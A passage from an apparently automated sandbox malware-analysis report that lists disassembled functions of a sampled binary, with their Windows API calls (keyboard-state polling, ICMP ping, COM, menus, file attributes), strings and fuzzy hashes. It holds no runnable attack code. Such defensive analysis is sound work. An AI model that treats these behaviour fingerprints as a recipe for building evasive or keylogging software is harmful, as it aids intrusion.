SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00FD7C74
CoTaskMemFree.OLE32(?,?), ref: 00FD7CCC
SHBrowseForFolderW.SHELL32(?), ref: 00FD7D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00FD7D7A
CoTaskMemFree.OLE32(00000000), ref: 00FD7D81
CoTaskMemFree.OLE32(00000000), ref: 00FD7DD6
CoUninitialize.OLE32 ref: 00FD7DDC

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: a165aa96034905ab8bd8bbc23ac3814fe179c87878d30284c7f52e21b9821852
Instruction ID: cb52305fcf2c0e2e38cd6da7e84059b0b74ef20f5b7951f492639ae4a69e3052
Opcode Fuzzy Hash: a165aa96034905ab8bd8bbc23ac3814fe179c87878d30284c7f52e21b9821852
Instruction Fuzzy Hash: F8C11C75A04219AFCB14DF64C884DAEBBF9FF48314B188499E81ADB361D730ED45DB90

Function 00FF541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00FF5504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00FF5515
CharNextW.USER32(00000158), ref: 00FF5544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00FF5585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00FF559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00FF55AC

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: bb83e957d817dcd8c21b1b13f279bb87158cdbd595176f67c25b6b1bbf96ab37
Instruction ID: 8e88cdb29cdf782fbfbf9ee725a23cddc2bba7802e08e0bddc852117fd1b4b36
Opcode Fuzzy Hash: bb83e957d817dcd8c21b1b13f279bb87158cdbd595176f67c25b6b1bbf96ab37
Instruction Fuzzy Hash: 70619F3190461DABDF20DF54CC84AFE7B79EF09B35F148145FB25AA2A0D7748A81EB60

Function 00FBFA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00FBFAAF
SafeArrayAllocData.OLEAUT32(?), ref: 00FBFB08
VariantInit.OLEAUT32(?), ref: 00FBFB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00FBFB3A
VariantCopy.OLEAUT32(?,?), ref: 00FBFB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00FBFBA1
VariantClear.OLEAUT32(?), ref: 00FBFBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 00FBFBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00FBFBCC
VariantClear.OLEAUT32(?), ref: 00FBFBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00FBFBE9

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 94170e170e44043473ba674813dddd1fd48bcae82e2de31b1aaad7b552861c41
Instruction ID: 9be6b74dc172f257b139b80ac462c736d2ec8bab2da137dd5a06b356907e6bbf
Opcode Fuzzy Hash: 94170e170e44043473ba674813dddd1fd48bcae82e2de31b1aaad7b552861c41
Instruction Fuzzy Hash: 48413D35A0021DDFCB04DF65CC549FEBBB9EF48354F008469E956A7261CB34A949DFA0

Function 00FC9C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00FC9CA1
GetAsyncKeyState.USER32(000000A0), ref: 00FC9D22
GetKeyState.USER32(000000A0), ref: 00FC9D3D
GetAsyncKeyState.USER32(000000A1), ref: 00FC9D57
GetKeyState.USER32(000000A1), ref: 00FC9D6C
GetAsyncKeyState.USER32(00000011), ref: 00FC9D84
GetKeyState.USER32(00000011), ref: 00FC9D96
GetAsyncKeyState.USER32(00000012), ref: 00FC9DAE
GetKeyState.USER32(00000012), ref: 00FC9DC0
GetAsyncKeyState.USER32(0000005B), ref: 00FC9DD8
GetKeyState.USER32(0000005B), ref: 00FC9DEA

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: ffa79c189645d0b31fba4b293c77dbe0d3c14a7a17b1213d111e3f8b95bae918
Instruction ID: 27be0b8047f7a032037e14c57ae1d4d67235b4744ac07c9ade82881a1f8bbb56
Opcode Fuzzy Hash: ffa79c189645d0b31fba4b293c77dbe0d3c14a7a17b1213d111e3f8b95bae918
Instruction Fuzzy Hash: E441D730D0C7CB69FF308660860EBB5BEA06F21364F08405ED9C7661C2DBE459C8E7A1

Function 00FE055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00FE05BC
inet_addr.WSOCK32(?), ref: 00FE061C
gethostbyname.WSOCK32(?), ref: 00FE0628
IcmpCreateFile.IPHLPAPI ref: 00FE0636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00FE06C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00FE06E5
IcmpCloseHandle.IPHLPAPI(?), ref: 00FE07B9
WSACleanup.WSOCK32 ref: 00FE07BF

Strings

Ping, xrefs: 00FE0676

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: d281034645c8daaf3f6465c7137371a4d3b3086ba9510d5f8a7eec39f619cac4
Instruction ID: 58fbeb7b3fcb35d7288535022c18034a4eb533ac434edaf29fa1f26bbe11eceb
Opcode Fuzzy Hash: d281034645c8daaf3f6465c7137371a4d3b3086ba9510d5f8a7eec39f619cac4
Instruction Fuzzy Hash: D991A1359042419FD720DF16C988F16BBE4EF44328F1485A9F4A98B6A2CBB4FC85DF91

Function 00FE8CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00FE8CF3

Part of subcall function 00FC8E54: _wcslen.LIBCMT ref: 00FC8E77

_wcslen.LIBCMT ref: 00FE8D4E
_wcslen.LIBCMT ref: 00FE8D9C
_wcslen.LIBCMT ref: 00FE8DDC
_wcslen.LIBCMT ref: 00FE8E6E

Strings

cdecl, xrefs: 00FE8D48, 00FE8D4D
winapi, xrefs: 00FE8D96, 00FE8D9B
stdcall, xrefs: 00FE8DD6, 00FE8DDB
none, xrefs: 00FE8E65, 00FE8E6A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 056157c85d37fadb4fc54efa125b278ee7a77ec7ccc50595f16720f9ca49a18a
Instruction ID: 9799af1e600fd20bffb6934417fb922ea8bc7af6f7488400384d60b9251383da
Opcode Fuzzy Hash: 056157c85d37fadb4fc54efa125b278ee7a77ec7ccc50595f16720f9ca49a18a
Instruction Fuzzy Hash: FD51C532E001569BCB24EFA9CD409BEB7A5BF64360B204219E45AE72C4DF35DD42E790

Function 00FE372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00FE3774
CoUninitialize.OLE32 ref: 00FE377F
CoCreateInstance.OLE32(?,00000000,00000017,00FFFB78,?), ref: 00FE37D9
IIDFromString.OLE32(?,?), ref: 00FE384C
VariantInit.OLEAUT32(?), ref: 00FE38E4
VariantClear.OLEAUT32(?), ref: 00FE3936

Strings

Invalid parameter, xrefs: 00FE3865
Failed to create object, xrefs: 00FE37E4, 00FE389A
NULL Pointer assignment, xrefs: 00FE381E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: d11dcce5caa35141a5c6e92526cc1d8e0d1fbc3021872503cb2acc8e6b418734
Instruction ID: b291089976799f71a7116ffd3dd305b4a54a48a6ba6fccf74753182487d9cff1
Opcode Fuzzy Hash: d11dcce5caa35141a5c6e92526cc1d8e0d1fbc3021872503cb2acc8e6b418734
Instruction Fuzzy Hash: 3C61AF72608351AFD310DF56C88DB6ABBE8EF49714F00085DF5859B291C774EE48EB92

Function 00FD3388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00FD33CF

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00FD33F0

Strings

Line %d (File "%s"):, xrefs: 00FD3443, 00FD345C
"%s" (%d) : ==> %s:%s%s, xrefs: 00FD3504
"%s" (%d) : ==> %s:, xrefs: 00FD3522
Incorrect parameters to object property !, xrefs: 00FD34AB
Error: , xrefs: 00FD34D1
^ ERROR , xrefs: 00FD349E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: bc80a30d20a40f6daf5eb93f9dca076e46e14b74dc74c11c471a4ae6f7565415
Instruction ID: dbf8acae1732cb1cb57cd1e075471de3ffa407d01be176ad82cba97161325441
Opcode Fuzzy Hash: bc80a30d20a40f6daf5eb93f9dca076e46e14b74dc74c11c471a4ae6f7565415
Instruction Fuzzy Hash: D251BE32C0021AAADF15EBA0DE47EEEB379EF15300F144065F50572152EB792F58EB61

Function 00FCB5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00FCB5FC
_wcslen.LIBCMT ref: 00FCB608
_wcslen.LIBCMT ref: 00FCB64D
_wcslen.LIBCMT ref: 00FCB68C
_wcslen.LIBCMT ref: 00FCB6C7

Strings

APPEND, xrefs: 00FCB6C1, 00FCB6C6
KEYS, xrefs: 00FCB647, 00FCB64C
REMOVE, xrefs: 00FCB602, 00FCB607
EXISTS, xrefs: 00FCB686, 00FCB68B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: 3a9fc860148d2a1b21345abea5db221516f582f28ea5f6096ff632a39a761c81
Instruction ID: e252e10c47d4c07e80684e4a8ce47573f12a9a21d17c96ddc603f18837d08e59
Opcode Fuzzy Hash: 3a9fc860148d2a1b21345abea5db221516f582f28ea5f6096ff632a39a761c81
Instruction Fuzzy Hash: DB41D736E000279ACB205E7DCA93BBE77A5AF60764F24416DE865D7280E735CD41F790

Function 00FD5393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FD53A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00FD5416
GetLastError.KERNEL32 ref: 00FD5420
SetErrorMode.KERNEL32(00000000,READY), ref: 00FD54A7

Strings

READONLY, xrefs: 00FD5452
NOTREADY, xrefs: 00FD544B
UNKNOWN, xrefs: 00FD5444
READY, xrefs: 00FD5460, 00FD5468
INVALID, xrefs: 00FD5459

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: faa074cd503ec65ddacae1ecf3c96c2e3eeb257eca78cacf4432f3412f111c9f
Instruction ID: 362bf1b3046357f48f12e6f6680ed04dba199b1501c7774f7dd1188e45e57768
Opcode Fuzzy Hash: faa074cd503ec65ddacae1ecf3c96c2e3eeb257eca78cacf4432f3412f111c9f
Instruction Fuzzy Hash: 0231E335E002089FC710DF68C894BAA7BB9FF06715F18805AE805CB392D771DD82EB92

Function 00FF3C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00FF3C79
SetMenu.USER32(?,00000000), ref: 00FF3C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00FF3D10
IsMenu.USER32(?), ref: 00FF3D24
CreatePopupMenu.USER32 ref: 00FF3D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00FF3D5B
DrawMenuBar.USER32 ref: 00FF3D63

Strings

F, xrefs: 00FF3D4E
0, xrefs: 00FF3C54

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: 3fd5e665408caca584257fa4d13b7550e76f642abe5479de9a3fc811b3b87c42
Instruction ID: 270129c8346a1332530963cbab85fe25af3a83577b06954f37cdc1d2704e5e2a
Opcode Fuzzy Hash: 3fd5e665408caca584257fa4d13b7550e76f642abe5479de9a3fc811b3b87c42
Instruction Fuzzy Hash: 6C416975A0120DEFDB24DF64D944AAE7BB9FF49350F180029FA46A7360D731AA14EF90

Function 00FC1EDF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

Part of subcall function 00FC3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00FC3CCA

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00FC1F64
GetDlgCtrlID.USER32 ref: 00FC1F6F
GetParent.USER32 ref: 00FC1F8B
SendMessageW.USER32(00000000,?,00000111,?), ref: 00FC1F8E
GetDlgCtrlID.USER32(?), ref: 00FC1F97
GetParent.USER32(?), ref: 00FC1FAB
SendMessageW.USER32(00000000,?,00000111,?), ref: 00FC1FAE

Strings

ComboBox, xrefs: 00FC1EEC
ListBox, xrefs: 00FC1F21

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 672a9b752030de93a5183a0382fb88c13750b3a2d71d49a43003e60d4906ab4a
Instruction ID: d6d1ace82de00c7274c9b9d18ee37615be1cbbfce157c9fbc3715e4f9b36901b
Opcode Fuzzy Hash: 672a9b752030de93a5183a0382fb88c13750b3a2d71d49a43003e60d4906ab4a
Instruction Fuzzy Hash: 4921C571D04129BBCF05AFA0DD45EFEBBB8EF16350F004119F955A7291CB785914EB60

Function 00FF3A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00FF3A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00FF3AA0
GetWindowLongW.USER32(?,000000F0), ref: 00FF3AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00FF3AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00FF3B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00FF3BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00FF3BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00FF3BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00FF3BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00FF3C13

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: c75d583b644450706d87a7393f588d5130fba60a9be51870ca54d76d4909774c
Instruction ID: 8e587bdc0388f80369c733259adb9c6ae3ec6ff1773780c1b784a2e06fcdc160
Opcode Fuzzy Hash: c75d583b644450706d87a7393f588d5130fba60a9be51870ca54d76d4909774c
Instruction Fuzzy Hash: F3615975900248AFDB20DFA8CC81EFE77F8AF49710F10019AFA55A72A1D774AA45EB50

Function 00F92C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F92C94

Part of subcall function 00F929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000), ref: 00F929DE
Part of subcall function 00F929C8: GetLastError.KERNEL32(00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000,00000000), ref: 00F929F0

_free.LIBCMT ref: 00F92CA0
_free.LIBCMT ref: 00F92CAB
_free.LIBCMT ref: 00F92CB6
_free.LIBCMT ref: 00F92CC1
_free.LIBCMT ref: 00F92CCC
_free.LIBCMT ref: 00F92CD7
_free.LIBCMT ref: 00F92CE2
_free.LIBCMT ref: 00F92CED
_free.LIBCMT ref: 00F92CFB

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 89157ee138a38ddf4e7b2d131649af015b68b9dde12a98b8a1a93712e9885ef3
Instruction ID: 16c4e62c042eaef83a5999f9bd3fd1744ac31ba081ed05080ef143d97863e515
Opcode Fuzzy Hash: 89157ee138a38ddf4e7b2d131649af015b68b9dde12a98b8a1a93712e9885ef3
Instruction Fuzzy Hash: E5116276500108BFEF82EF58DD82CDD3BB5BF05350F5145A5FA489B222DA35EA50AB90

Function 00FD7DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00FD7FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00FD7FC1
GetFileAttributesW.KERNEL32(?), ref: 00FD7FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00FD8005
SetCurrentDirectoryW.KERNEL32(?), ref: 00FD8017
SetCurrentDirectoryW.KERNEL32(?), ref: 00FD8060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00FD80B0

Strings

*.*, xrefs: 00FD8066

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 07daf2528b0435453b99cb706d9310b5ac1d10c7da8b7c108be02280a918d788
Instruction ID: 435d20e72ab86a885ed433fbff7c8cf36316cf004ffef195ab65e3e25da97556
Opcode Fuzzy Hash: 07daf2528b0435453b99cb706d9310b5ac1d10c7da8b7c108be02280a918d788
